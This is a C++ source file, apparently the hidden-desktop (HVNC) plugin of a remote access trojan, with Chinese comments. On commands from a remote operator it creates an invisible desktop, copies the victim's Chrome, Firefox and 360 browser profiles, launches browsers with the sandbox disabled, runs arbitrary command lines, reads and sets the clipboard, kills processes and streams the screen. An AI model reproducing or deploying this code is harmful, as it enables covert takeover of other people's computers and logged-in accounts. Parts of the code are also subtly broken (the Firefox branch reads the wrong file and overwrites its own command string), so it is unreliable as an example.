// ScreenManagers.cpp: implementation of the CScreenHideManager class. // ////////////////////////////////////////////////////////////////////// #include "StdAfx.h" #include #include "ScreenHideManager.h" #include #include #include #include #include #include #include #include #include #include #pragma comment (lib, "Shlwapi.lib") namespace SimplePluginsScreenHide { ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// // 检查指定桌面(hDesk)中是否存在目标进程(targetExeName) BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) { // 切换到目标桌面 if (!SetThreadDesktop(hDesk)) { return FALSE; } // 枚举目标桌面的所有窗口 BOOL bFound = FALSE; std::pair data(targetExeName, &bFound); EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL { auto pData = reinterpret_cast*>(lParam); DWORD dwProcessId; GetWindowThreadProcessId(hWnd, &dwProcessId); // 获取进程名 HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId); if (hProcess) { char exePath[MAX_PATH]; DWORD size = MAX_PATH; if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) { if (_stricmp(exePath, pData->first) == 0) { *(pData->second) = TRUE; return FALSE; // 终止枚举 } } CloseHandle(hProcess); } return TRUE; // 继续枚举 }, reinterpret_cast(&data)); return bFound; } // 获取指定桌面下的所有进程ID std::vector GetProcessIdsInDesktop(HDESK hDesk) { std::set pidSet; HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId()); if (SetThreadDesktop(hDesk)) { EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) { auto& pids = *reinterpret_cast*>(lParam); // 跳过不可见窗口和子窗口 if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) { DWORD pid = 0; GetWindowThreadProcessId(hWnd, &pid); if (pid != 0) pids.insert(pid); } return TRUE; }, reinterpret_cast(&pidSet)); SetThreadDesktop(hOriginalDesk); } return std::vector(pidSet.begin(), pidSet.end()); } bool IsSystemProcess(DWORD pid) { HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); if (!hProcess) return true; char exeName[MAX_PATH]; DWORD size = MAX_PATH; bool isSystem = false; if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) { TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1); strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe")); isSystem = (_stricmp(exeName, szExplorerFile)==0); } CloseHandle(hProcess); return isSystem; } void SafeTerminateDesktopProcesses(HDESK hDesk) { // 检查桌面句柄有效性 if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return; // 获取当前桌面(用于恢复) HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId()); if (!hOriginalDesk) { Mprintf("Failed to get original desktop\n"); return; } // 切换桌面 if (!SetThreadDesktop(hDesk)) { Mprintf("SetThreadDesktop failed\n"); return; } // 枚举进程 auto pids = GetProcessIdsInDesktop(hDesk); SetThreadDesktop(hOriginalDesk); // 立即恢复 // 终止进程 for (DWORD pid : pids) { if (pid == GetCurrentProcessId()) continue; // 跳过自己 HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); if (!hProcess) { Mprintf("OpenProcess failed for PID: %d\n", pid); continue; } // 检查是否为系统进程 if (IsSystemProcess(pid)) { CloseHandle(hProcess); continue; } // 终止进程 if (!TerminateProcess(hProcess, 0)) { Mprintf("TerminateProcess failed for PID: %d\n", pid); } CloseHandle(hProcess); } } void CopyDir(TCHAR* from, TCHAR* to) { TCHAR fromWildCard[MAX_PATH] = { 0 }; lstrcpy(fromWildCard, from); lstrcat(fromWildCard, _T("\\*")); if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) return; WIN32_FIND_DATA findData; HANDLE hFindFile = FindFirstFile(fromWildCard, &findData); if (hFindFile == INVALID_HANDLE_VALUE) return; do { TCHAR currFileFrom[MAX_PATH] = { 0 }; lstrcpy(currFileFrom, from); lstrcat(currFileFrom, _T("\\")); lstrcat(currFileFrom, findData.cFileName); TCHAR currFileTo[MAX_PATH] = { 0 }; lstrcpy(currFileTo, to); lstrcat(currFileTo, _T("\\")); lstrcat(currFileTo, findData.cFileName); if ( findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY && strcmp(findData.cFileName, _T(".")) && strcmp(findData.cFileName, _T("..")) ) { if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS) CopyDir(currFileFrom, currFileTo); } else CopyFile(currFileFrom, currFileTo, FALSE); } while (FindNextFile(hFindFile, &findData)); } void killproc(const TCHAR* name) { HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL); PROCESSENTRY32 pEntry; pEntry.dwSize = sizeof(pEntry); BOOL hRes = Process32First(hSnapShot, &pEntry); while (hRes) { if (strcmp(pEntry.szExeFile, name) == 0) { HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, (DWORD)pEntry.th32ProcessID); if (hProcess != NULL) { TerminateProcess(hProcess, 9); CloseHandle(hProcess); } } hRes = Process32Next(hSnapShot, &pEntry); } CloseHandle(hSnapShot); } CScreenHideManager::CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user) : CScreenManagerBase(pClient, nBitDepth, user) { m_DlgToken = TOKEN_BITMAPINFO_HIDE; } CScreenHideManager::~CScreenHideManager() { } VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize) { if (lpBuffer[0] == TOKEN_HEARTBEAT) return; switch (lpBuffer[0]) { case COMMAND_FLUSH_HIDE: ResetScreen(32); break; case COMMAND_SCREEN_CONTROL: ProcessCommand(lpBuffer + 1, nSize - 1); break; case COMMAND_NEXT: NotifyDialogIsOpen(); break; case COMMAND_SCREEN_GET_CLIPBOARD: SendClientClipboard(); break; case COMMAND_SCREEN_SET_CLIPBOARD: UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1); break; case COMMAND_SCREEN_SETSCREEN_HIDE: Loop_Screen(); break; case COMMAND_COMMAND_SCREENUALITY60_HIDE: m_ScreenSpyObject->SendQuality(60); break; case COMMAND_COMMAND_SCREENUALITY85_HIDE: m_ScreenSpyObject->SendQuality(85); break; case COMMAND_COMMAND_SCREENUALITY100_HIDE: m_ScreenSpyObject->SendQuality(100); break; case COMMAND_HIDE_USER: { return OnUserCommand(lpBuffer, nSize); } break; case COMMAND_HIDE_CLEAR: SafeTerminateDesktopProcesses(g_hDesk); break; default: Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]); break; } } void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) { char* deskName = (char*)m_DesktopID.c_str(); switch (lpBuffer[1]) { case IDM_OPEN_Explorer: { const DWORD neverCombine = 2; const TCHAR* valueName = _T("TaskbarGlomLevel"); HKEY hKey; RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey); DWORD value; DWORD size = sizeof(DWORD); DWORD type = REG_DWORD; RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size); if (value != neverCombine) RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size); TCHAR explorerPath[MAX_PATH] = { 0 }; GetWindowsDirectory(explorerPath, MAX_PATH); lstrcat(explorerPath, _T("\\")); lstrcat(explorerPath, _T("explorer.exe")); STARTUPINFO startupInfo = { 0 }; startupInfo.cb = sizeof(startupInfo); startupInfo.lpDesktop = deskName; PROCESS_INFORMATION processInfo = { 0 }; CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); APPBARDATA appbarData; appbarData.cbSize = sizeof(appbarData); for (int i = 0; i < 5; ++i) { Sleep(1000); appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL); if (appbarData.hWnd) break; } appbarData.lParam = ABS_ALWAYSONTOP; SHAppBarMessage(ABM_SETSTATE, &appbarData); RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size); RegCloseKey(hKey); break; } case IDM_OPEN_run: { TCHAR rundllPath[MAX_PATH] = { 0 }; SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath); lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61")); STARTUPINFO startupInfo = { 0 }; startupInfo.cb = sizeof(startupInfo); startupInfo.lpDesktop = deskName; PROCESS_INFORMATION processInfo = { 0 }; CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); break; } case IDM_OPEN_Powershell: { TCHAR path[MAX_PATH] = { 0 }; lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\"")); STARTUPINFO startupInfo = { 0 }; startupInfo.cb = sizeof(startupInfo); startupInfo.lpDesktop = deskName; PROCESS_INFORMATION processInfo = { 0 }; CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); break; } case IDM_OPEN_Chrome: { TCHAR chromePath[MAX_PATH] = { 0 }; SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath); lstrcat(chromePath, _T("\\Google\\Chrome\\")); TCHAR dataPath[MAX_PATH] = { 0 }; lstrcat(dataPath, chromePath); lstrcat(dataPath, _T("User Data\\")); TCHAR botId[35] = { 0 }; TCHAR newDataPath[MAX_PATH] = { 0 }; lstrcat(newDataPath, chromePath); lstrcat(newDataPath, deskName); CopyDir(dataPath, newDataPath); TCHAR path[MAX_PATH] = { 0 }; lstrcat(path, _T("cmd.exe /c start ")); lstrcat(path, _T("chrome.exe")); lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir=")); lstrcat(path, _T("\"")); lstrcat(path, newDataPath); STARTUPINFO startupInfo = { 0 }; startupInfo.cb = sizeof(startupInfo); startupInfo.lpDesktop = deskName; PROCESS_INFORMATION processInfo = { 0 }; CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); break; } case IDM_OPEN_Edge: { TCHAR path[MAX_PATH] = { 0 }; lstrcat(path, _T("cmd.exe /c start ")); lstrcat(path, _T("msedge.exe")); lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir=")); STARTUPINFO startupInfo = { 0 }; startupInfo.cb = sizeof(startupInfo); startupInfo.lpDesktop = deskName; PROCESS_INFORMATION processInfo = { 0 }; CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); break; } case IDM_OPEN_Brave: { killproc(_T("brave.exe")); TCHAR path[MAX_PATH] = { 0 }; lstrcat(path, _T("cmd.exe /c start ")); lstrcat(path, _T("brave.exe")); lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir=")); STARTUPINFO startupInfo = { 0 }; startupInfo.cb = sizeof(startupInfo); startupInfo.lpDesktop = deskName; PROCESS_INFORMATION processInfo = { 0 }; CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); break; } case IDM_OPEN_Firefox: { TCHAR firefoxPath[MAX_PATH] = { 0 }; SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath); lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\")); TCHAR profilesIniPath[MAX_PATH] = { 0 }; lstrcat(profilesIniPath, firefoxPath); lstrcat(profilesIniPath, _T("TaskbarGlomLevel")); HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hProfilesIni == INVALID_HANDLE_VALUE) return; DWORD profilesIniSize = GetFileSize(hProfilesIni, 0); DWORD read; TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1]; ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL); profilesIniContent[profilesIniSize] = 0; TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative=")); if (!isRelativeRead) { CloseHandle(hProfilesIni); SAFE_DELETE(profilesIniContent); return; } isRelativeRead += 11; BOOL isRelative = (*isRelativeRead == _T('1')); TCHAR* path = StrStr(profilesIniContent, _T("Path=")); if (!path) { CloseHandle(hProfilesIni); SAFE_DELETE(profilesIniContent); return; } TCHAR* pathEnd = StrStr(path, _T("\r")); if (!pathEnd) { CloseHandle(hProfilesIni); SAFE_DELETE(profilesIniContent); return; } *pathEnd = 0; path += 5; TCHAR realPath[MAX_PATH] = { 0 }; if (isRelative) lstrcpy(realPath, firefoxPath); lstrcat(realPath, path); TCHAR newPath[MAX_PATH]; lstrcpy(newPath, firefoxPath); lstrcpy(newPath, deskName); CopyDir(realPath, newPath); TCHAR browserPath[MAX_PATH] = { 0 }; lstrcpy(browserPath, _T("cmd.exe /c start ")); lstrcpy(browserPath, _T("firefox.exe")); lstrcpy(browserPath, _T(" -no-remote -profile ")); lstrcpy(browserPath, _T("\"")); lstrcpy(browserPath, newPath); lstrcpy(browserPath, _T("\"")); STARTUPINFO startupInfo = { 0 }; startupInfo.cb = sizeof(startupInfo); startupInfo.lpDesktop = deskName; PROCESS_INFORMATION processInfo = { 0 }; CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); break; } case IDM_OPEN_Iexplore: { TCHAR path[MAX_PATH] = { 0 }; lstrcpy(path, _T("cmd.exe /c start ")); lstrcat(path, _T("iexplore.exe")); STARTUPINFO startupInfo = { 0 }; startupInfo.cb = sizeof(startupInfo); startupInfo.lpDesktop = deskName; PROCESS_INFORMATION processInfo = { 0 }; CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); break; } case IDM_OPEN_zdy: { TCHAR path[MAX_PATH] = { 0 }; lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2)); STARTUPINFO startupInfo = { 0 }; startupInfo.cb = sizeof(startupInfo); startupInfo.lpDesktop = deskName; PROCESS_INFORMATION processInfo = { 0 }; CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); break; } case IDM_OPEN_zdy2: { ZdyCmd m_ZdyCmd = {}; memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd)); CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath); TCHAR path[MAX_PATH] = { 0 }; lstrcpy(path, _T("cmd.exe /c start ")); lstrcat(path, m_ZdyCmd.cmdline); lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir=")); lstrcat(path, _T("\"")); lstrcat(path, m_ZdyCmd.newpath); STARTUPINFO startupInfo = { 0 }; startupInfo.cb = sizeof(startupInfo); startupInfo.lpDesktop = deskName; PROCESS_INFORMATION processInfo = { 0 }; CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); break; } case IDM_OPEN_360JS: { TCHAR chromePath[MAX_PATH] = { 0 }; SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath); lstrcat(chromePath, _T("\\360Chrome\\Chrome\\")); TCHAR dataPath[MAX_PATH] = { 0 }; lstrcpy(dataPath, chromePath); lstrcat(dataPath, _T("User Data\\")); TCHAR newDataPath[MAX_PATH] = { 0 }; lstrcpy(newDataPath, chromePath); lstrcat(newDataPath, deskName); CopyDir(dataPath, newDataPath); TCHAR path[MAX_PATH] = { 0 }; lstrcpy(path, _T("cmd.exe /c start ")); lstrcat(path, _T("360chrome.exe")); lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir=")); lstrcat(path, _T("\"")); lstrcat(path, newDataPath); STARTUPINFO startupInfo = { 0 }; startupInfo.cb = sizeof(startupInfo); startupInfo.lpDesktop = deskName; PROCESS_INFORMATION processInfo = { 0 }; CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); break; } case IDM_OPEN_360AQ: { TCHAR chromePath[MAX_PATH] = { 0 }; SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath); lstrcat(chromePath, _T("\\")); TCHAR dataPath[MAX_PATH] = { 0 }; lstrcpy(dataPath, chromePath); lstrcat(dataPath, _T("secoresdk\\")); TCHAR newDataPath[MAX_PATH] = { 0 }; lstrcpy(newDataPath, chromePath); lstrcat(newDataPath, deskName); CopyDir(dataPath, newDataPath); lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe")); TCHAR path[MAX_PATH] = { 0 }; lstrcpy(path, _T("cmd.exe /c start ")); lstrcat(path, newDataPath); lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir=")); STARTUPINFO startupInfo = { 0 }; startupInfo.cb = sizeof(startupInfo); startupInfo.lpDesktop = deskName; PROCESS_INFORMATION processInfo = { 0 }; CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); break; } case IDM_OPEN_360AQ2: { TCHAR chromePath[MAX_PATH] = { 0 }; SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath); lstrcat(chromePath, _T("\\")); TCHAR dataPath[MAX_PATH] = { 0 }; lstrcpy(dataPath, chromePath); lstrcat(dataPath, _T("360se6\\")); TCHAR newDataPath[MAX_PATH] = { 0 }; lstrcpy(newDataPath, chromePath); lstrcat(newDataPath, deskName); CopyDir(dataPath, newDataPath); lstrcat(newDataPath, _T("\\Application\\360se.exe")); TCHAR path[MAX_PATH] = { 0 }; lstrcpy(path, _T("cmd.exe /c start ")); lstrcat(path, newDataPath); lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir=")); STARTUPINFO startupInfo = { 0 }; startupInfo.cb = sizeof(startupInfo); startupInfo.lpDesktop = deskName; PROCESS_INFORMATION processInfo = { 0 }; CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); break; } } } void CScreenHideManager::InitScreenSpy() { HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str()); if (!hDesk) { hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL); Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败"); } else { Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str()); } if (hDesk) { TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1); strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe")); if (!IsProcessRunningInDesktop(hDesk, szExplorerFile)) { if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) { Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str()); } } else { Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str()); } SetThreadDesktop(g_hDesk = hDesk); } BYTE* param = (BYTE*)m_ptrUser; int compress = ALGORITHM_DIFF; if (param) { compress = param[1]; delete[] param; m_ptrUser = NULL; } m_ScreenSpyObject = new CScreenHideSpy(32, compress); } } // namespace SimplePluginsScreenHide